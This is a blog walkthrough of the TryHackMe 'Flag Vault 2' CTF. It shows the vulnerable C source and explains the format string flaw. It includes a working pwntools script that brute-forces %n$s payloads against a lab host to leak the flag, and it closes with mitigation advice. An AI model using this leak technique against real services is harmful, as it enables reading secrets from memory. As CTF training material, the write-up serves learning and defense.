boot767 notes · 24 posts

Every Shell Leaves a Trace

These are the notes I take while working through CTFs, cert courses and school, plus the walkthroughs I've written along the way. I laid them out in the order I'd actually use them, from the first Nmap scan to root.

latest transmission · 2026-11-19Collection of OSINT Tools and Resources
boot767 notes · 24 posts

Every Shell Leaves a Trace

These are the notes I take while working through CTFs, cert courses and school, plus the walkthroughs I've written along the way. I laid them out in the order I'd actually use them, from the first Nmap scan to root.

latest transmission · 2026-11-19Collection of OSINT Tools and Resources
scroll · ← → · 1–7 · / to search

Flag Vault 2 CTF TryHackMe Walkthrough

In this TryHackMe CTF challenge, Flag Vault 2, our objective is to analyze and exploit a binary vulnerable to a format string attack. This vulnerability enables attackers to read arbitrary memory addresses or leak data on the stack by abusing the printf function without a format string.

Step 1: Analyze Source Code

#include <stdio.h>
#include <string.h>

void print_banner(){
    printf( "  ______ _          __      __         _ _   \n"
        " |  ____| |         \\ \\    / /        | | |  \n"
        " | |__  | | __ _  __ \\ \\  / /_ _ _   _| | |_ \n"
        " |  __| | |/ _` |/ _` \\ \\/ / _` | | | | | __|\n"
        " | |    | | (_| | (_| |\\  / (_| | |_| | | |_ \n"
        " |_|    |_|\\__,_|\\__, | \\ / \\__,_|\\__,_|_|\\__|\n"
        "                  __/ |                      \n"
        "                 |___/                       \n"
        "                                             \n"
        "Version 2.1 - Fixed print_flag to not print the flag. Nothing you can do about it!\n"
        "==================================================================\n\n"
          );
}

void print_flag(char *username){
    FILE *f = fopen("flag.txt","r");
    char flag[200];

    fgets(flag, 199, f);
    //printf("%s", flag);

    printf("Hello, ");
    printf(username);
    printf(". Was version 2.0 too simple for you? Well I don't see no flags being shown now xD xD xD...\n\n");
    printf("Yours truly,\nByteReaper\n\n");
}

void login(){
    char username[100] = "";

    printf("Username: ");
    gets(username);

    // The flag isn't printed anymore. No need for authentication
    print_flag(username);
}

void main(){
    setvbuf(stdin, NULL, _IONBF, 0);
    setvbuf(stdout, NULL, _IONBF, 0);
    setvbuf(stderr, NULL, _IONBF, 0);

    // Start login process
    print_banner();
    login();

    return;
}

Observations:

Step 2: Understand the Vulnerability

What's happening?

The username buffer is read using gets()--which has no bounds checking (insecure)--and is passed directly to printf():

printf(username);

This introduces a format string vulnerability, where if user input contains format specifiers (like %x, %s, %n, etc.), they are interpreted by printf(), resulting in unwanted behavior.

Why is it vulnerable?

Passing user-controlled input directly into printf() without a format string leads to undefined behavior, allowing attackers to:

In this case, the goal is to grab the flag string stored in memory. Since it’s read with fgets() and stored in char flag[200], we can try to leak stack positions where flag is located.

Step 3: Exploit

Below is a simple Python script I wrote to brute-force stack positions with payloads like %1$s, resulting in leaking a stack position that contains the flag.

import os
from pwn import *

TARGET_IP = '10.10.180.45'
TARGET_PORT = 1337

for i in range(1, 50):
    payload = f'%{i}$s'.encode()
    print(f'[+] Trying %{i}$s')
    r = remote(TARGET_IP, TARGET_PORT, timeout=5)
    r.recvuntil(b'Username:')
    r.sendline(payload)
    output = r.recvall(timeout=2).decode(errors='ignore')
    r.close()

    if 'THM{' in output:
        print(f'\nFound flag: {output}')
        break
    elif os.name == 'nt':
        os.system('cls')
    else:
        os.system('clear')

Output:

[+] Trying %5$s
[+] Opening connection to 10.10.214.114 on port 1337: Done
[+] Receiving all data: Done (145B)
[*] Closed connection to 10.10.214.114 port 1337

Found flag:  Hello, THM{REDACTED}
. Was version 2.0 too simple for you? Well I don't see no flags being shown now xD xD xD...

Yours truly,
ByteReaper

How does this work?


Hotwash

Format String Vulnerabilities

When user input is passed to printf() or similar functions without a format string, you expose yourself to:

Vulnerable Patterns

printf(username);         // vulnerable
printf("%s", username);   // secure

Learn more: OWASP Format String Vulnerabilities

Note: Regardless of whether you're printing a simple or complex string, always use an explicit format string to mitigate this attack vector.

Room Created By